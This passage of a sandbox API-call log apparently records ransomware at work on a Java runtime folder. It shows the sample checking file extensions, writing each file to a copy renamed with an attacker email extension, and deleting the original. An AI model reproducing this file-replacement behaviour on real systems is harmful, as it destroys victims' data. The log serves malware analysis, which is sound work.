(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0169.420] lstrlenW (lpString=".dbf") returned 4 [0169.420] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0169.420] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0169.420] lstrlenW (lpString=".1cd") returned 4 [0169.420] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0169.420] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0169.420] lstrlenW (lpString=".jpg") returned 4 [0169.420] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0169.420] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0169.420] lstrlenW (lpString="jfr.jar") returned 7 [0169.420] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0169.421] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=560581) returned 1 [0169.421] CloseHandle (hObject=0x530) returned 1 [0169.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0169.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.422] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0169.422] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0169.422] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0169.422] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0169.423] GetLastError () returned 0x0 [0169.423] ReadFile (in: hFile=0x530, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x88dc5, lpOverlapped=0x0) returned 1 [0169.448] WriteFile (in: hFile=0x51c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x88dd0, lpOverlapped=0x0) returned 1 [0169.720] ReadFile (in: hFile=0x530, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0169.720] WriteFile (in: hFile=0x51c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xe2, lpOverlapped=0x0) returned 1 [0169.720] SetEndOfFile (hFile=0x51c) returned 1 [0169.872] CloseHandle (hObject=0x51c) returned 1 [0169.949] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0169.980] SetEndOfFile (hFile=0x530) returned 1 [0170.011] CloseHandle (hObject=0x530) returned 1 [0170.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.013] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1 [0170.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0170.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0170.013] lstrlenW (lpString=".doc") returned 4 [0170.014] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.014] lstrlenW (lpString=".docx") returned 5 [0170.014] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0170.014] lstrlenW (lpString=".pdf") returned 4 [0170.014] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.014] lstrlenW (lpString=".xls") returned 4 [0170.014] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.014] lstrlenW (lpString=".xlsx") returned 5 [0170.014] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0170.014] lstrlenW (lpString=".ppt") returned 4 [0170.014] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0170.014] lstrlenW (lpString=".zip") returned 4 [0170.014] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.014] lstrlenW (lpString=".rar") returned 4 [0170.014] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.014] lstrlenW (lpString=".bz2") returned 4 [0170.014] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.014] lstrlenW (lpString=".7z") returned 3 [0170.014] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0170.014] lstrlenW (lpString=".dbf") returned 4 [0170.014] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0170.014] lstrlenW (lpString=".1cd") returned 4 [0170.014] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0170.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0170.015] lstrlenW (lpString=".jpg") returned 4 [0170.015] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0170.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0170.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0170.015] lstrlenW (lpString=".doc") returned 4 [0170.015] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.015] lstrlenW (lpString=".docx") returned 5 [0170.015] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0170.015] lstrlenW (lpString=".pdf") returned 4 [0170.015] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.015] lstrlenW (lpString=".xls") returned 4 [0170.015] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.015] lstrlenW (lpString=".xlsx") returned 5 [0170.015] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0170.015] lstrlenW (lpString=".ppt") returned 4 [0170.015] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0170.015] lstrlenW (lpString=".zip") returned 4 [0170.015] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.015] lstrlenW (lpString=".rar") returned 4 [0170.015] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.015] lstrlenW (lpString=".bz2") returned 4 [0170.015] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.015] lstrlenW (lpString=".7z") returned 3 [0170.015] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0170.016] lstrlenW (lpString=".dbf") returned 4 [0170.016] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0170.016] lstrlenW (lpString=".1cd") returned 4 [0170.016] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0170.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0170.016] lstrlenW (lpString=".jpg") returned 4 [0170.016] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0170.016] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0170.016] lstrlenW (lpString="management-agent.jar") returned 20 [0170.016] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0170.278] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=381) returned 1 [0170.278] CloseHandle (hObject=0x548) returned 1 [0170.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0170.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0170.279] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.279] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0170.280] GetLastError () returned 0x0 [0170.280] ReadFile (in: hFile=0x548, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x17d, lpOverlapped=0x0) returned 1 [0170.281] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x180, lpOverlapped=0x0) returned 1 [0170.282] ReadFile (in: hFile=0x548, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0170.282] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xfc, lpOverlapped=0x0) returned 1 [0170.283] SetEndOfFile (hFile=0x530) returned 1 [0170.283] CloseHandle (hObject=0x530) returned 1 [0170.283] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.283] SetEndOfFile (hFile=0x548) returned 1 [0170.286] CloseHandle (hObject=0x548) returned 1 [0170.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.287] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1 [0170.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0170.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0170.287] lstrlenW (lpString=".doc") returned 4 [0170.287] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.287] lstrlenW (lpString=".docx") returned 5 [0170.287] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0170.287] lstrlenW (lpString=".pdf") returned 4 [0170.287] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.287] lstrlenW (lpString=".xls") returned 4 [0170.288] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.288] lstrlenW (lpString=".xlsx") returned 5 [0170.288] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0170.288] lstrlenW (lpString=".ppt") returned 4 [0170.288] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0170.288] lstrlenW (lpString=".zip") returned 4 [0170.288] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.288] lstrlenW (lpString=".rar") returned 4 [0170.288] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.288] lstrlenW (lpString=".bz2") returned 4 [0170.288] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.288] lstrlenW (lpString=".7z") returned 3 [0170.288] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0170.288] lstrlenW (lpString=".dbf") returned 4 [0170.288] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0170.288] lstrlenW (lpString=".1cd") returned 4 [0170.288] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0170.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0170.288] lstrlenW (lpString=".jpg") returned 4 [0170.288] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0170.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0170.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0170.288] lstrlenW (lpString=".doc") returned 4 [0170.288] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.288] lstrlenW (lpString=".docx") returned 5 [0170.288] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0170.288] lstrlenW (lpString=".pdf") returned 4 [0170.288] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.288] lstrlenW (lpString=".xls") returned 4 [0170.289] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.289] lstrlenW (lpString=".xlsx") returned 5 [0170.289] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0170.289] lstrlenW (lpString=".ppt") returned 4 [0170.289] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0170.289] lstrlenW (lpString=".zip") returned 4 [0170.289] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.289] lstrlenW (lpString=".rar") returned 4 [0170.289] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.289] lstrlenW (lpString=".bz2") returned 4 [0170.289] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.289] lstrlenW (lpString=".7z") returned 3 [0170.289] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0170.289] lstrlenW (lpString=".dbf") returned 4 [0170.289] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0170.289] lstrlenW (lpString=".1cd") returned 4 [0170.289] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0170.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0170.289] lstrlenW (lpString=".jpg") returned 4 [0170.289] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0170.289] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0170.289] lstrlenW (lpString="resources.jar") returned 13 [0170.289] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0170.290] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=3492573) returned 1 [0170.290] CloseHandle (hObject=0x548) returned 1 [0170.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20 [0170.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[seavays@aol.com].save")) returned 0 [0170.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0170.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0170.291] lstrlenW (lpString=".doc") returned 4 [0170.291] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.291] lstrlenW (lpString=".docx") returned 5 [0170.291] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0170.291] lstrlenW (lpString=".pdf") returned 4 [0170.291] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.291] lstrlenW (lpString=".xls") returned 4 [0170.291] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.291] lstrlenW (lpString=".xlsx") returned 5 [0170.291] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0170.291] lstrlenW (lpString=".ppt") returned 4 [0170.291] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0170.291] lstrlenW (lpString=".zip") returned 4 [0170.291] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.291] lstrlenW (lpString=".rar") returned 4 [0170.291] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.291] lstrlenW (lpString=".bz2") returned 4 [0170.291] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.291] lstrlenW (lpString=".7z") returned 3 [0170.291] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0170.291] lstrlenW (lpString=".dbf") returned 4 [0170.291] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0170.291] lstrlenW (lpString=".1cd") returned 4 [0170.292] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0170.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0170.292] lstrlenW (lpString=".jpg") returned 4 [0170.292] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0170.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0170.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0170.292] lstrlenW (lpString=".doc") returned 4 [0170.292] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.292] lstrlenW (lpString=".docx") returned 5 [0170.292] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0170.292] lstrlenW (lpString=".pdf") returned 4 [0170.292] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.292] lstrlenW (lpString=".xls") returned 4 [0170.292] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.292] lstrlenW (lpString=".xlsx") returned 5 [0170.292] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0170.292] lstrlenW (lpString=".ppt") returned 4 [0170.292] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0170.292] lstrlenW (lpString=".zip") returned 4 [0170.292] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.292] lstrlenW (lpString=".rar") returned 4 [0170.292] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.292] lstrlenW (lpString=".bz2") returned 4 [0170.292] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.292] lstrlenW (lpString=".7z") returned 3 [0170.292] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0170.292] lstrlenW (lpString=".dbf") returned 4 [0170.292] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0170.292] lstrlenW (lpString=".1cd") returned 4 [0170.293] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0170.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0170.293] lstrlenW (lpString=".jpg") returned 4 [0170.293] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0170.293] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0170.293] lstrlenW (lpString="rt.jar") returned 6 [0170.293] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0170.294] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=54560347) returned 1 [0170.294] CloseHandle (hObject=0x548) returned 1 [0170.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20 [0170.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[seavays@aol.com].save")) returned 0 [0170.295] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0170.295] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0170.295] lstrlenW (lpString=".doc") returned 4 [0170.295] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.295] lstrlenW (lpString=".docx") returned 5 [0170.295] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0170.295] lstrlenW (lpString=".pdf") returned 4 [0170.295] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.295] lstrlenW (lpString=".xls") returned 4 [0170.295] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.295] lstrlenW (lpString=".xlsx") returned 5 [0170.295] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0170.295] lstrlenW (lpString=".ppt") returned 4 [0170.295] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.295] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0170.295] lstrlenW (lpString=".zip") returned 4 [0170.295] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.295] lstrlenW (lpString=".rar") returned 4 [0170.295] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.295] lstrlenW (lpString=".bz2") returned 4 [0170.295] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.295] lstrlenW (lpString=".7z") returned 3 [0170.295] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.295] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0170.295] lstrlenW (lpString=".dbf") returned 4 [0170.295] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.295] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0170.295] lstrlenW (lpString=".1cd") returned 4 [0170.295] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0170.295] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0170.295] lstrlenW (lpString=".jpg") returned 4 [0170.296] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0170.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0170.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0170.296] lstrlenW (lpString=".doc") returned 4 [0170.296] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.296] 